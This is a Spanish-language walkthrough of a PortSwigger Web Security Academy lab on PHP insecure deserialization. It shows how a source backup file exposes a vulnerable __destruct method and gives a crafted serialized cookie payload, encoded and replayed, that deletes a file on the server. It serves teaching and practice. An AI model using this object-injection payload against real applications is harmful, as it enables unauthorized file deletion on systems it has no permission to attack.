Skip to content

20260308003952.png

LAB

20260308022441.png

Haciendo uso de las credenciales proporcionadas y luego interceptar las solicitudes podemos observar que el valor de la cookie esta serializada:

20260308022503.png

c
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"i920zy0tgvh87ero8pgve32cyjltgmrc";}

El cual puede ser manipulada, pero antes en el código html podemos observar que se tiene un archivo.

20260308022610.png

20260308022629.png

Al ir a la ruta del archivo este es interpretado por el servidor al ser un archivo php, por lo que teniendo en cuenta que existe o ciertos editores de codigo generar una copia del archivo cuando este es editado y puede colocar un ~ al final.

c
https://0aa6003e045ba94d80d9c1fc006500e8.web-security-academy.net/libs/CustomTemplate.php~

Al colocar un ~ logramos ver el contenido del archivo:

c
<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>

Este código es un ejemplo clásico de una vulnerabilidad de Inyección de Objetos de PHP (Object Injection).

El problema está en el método __destruct(). Cuando un objeto es deserializado, PHP busca su definición de clase y, al terminar, llama a su destructor. El unlink($this->lock_file_path) es peligroso porque un atacante puede controlar el valor de $this->lock_file_path.

Si un atacante puede controlar los datos que se pasan a unserialize(), puede crear un objeto CustomTemplate manipulado donde $lock_file_path apunte a cualquier archivo que quiera borrar del servidor.

Por lo que podemos generar nuestra cookie maliciosa para eliminar el archivo /home/carlos/morale.txt

c
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

Cuando una aplicación reciba este payload y lo deserializa con unserialize(), ocurre lo siguiente:

  • PHP crea una nueva instancia de la clase CustomTemplate.
  • La propiedad lock_file_path de ese objeto se establece en /home/carlos/morale.txt.
  • Al final de la ejecución del script, PHP llama automáticamente al método __destruct() del objeto.
  • Dentro del destructor, se ejecuta file_exists('/home/carlos/morale.txt').
  • Si ese archivo existe, se ejecuta unlink('/home/carlos/morale.txt'), lo que borra el archivo.

20260308024249.png

Luego de encodear en base64 y en urlencode, podemos guardar como cookie y recargar la pagina y lograr borrar el archivo.

20260308024325.png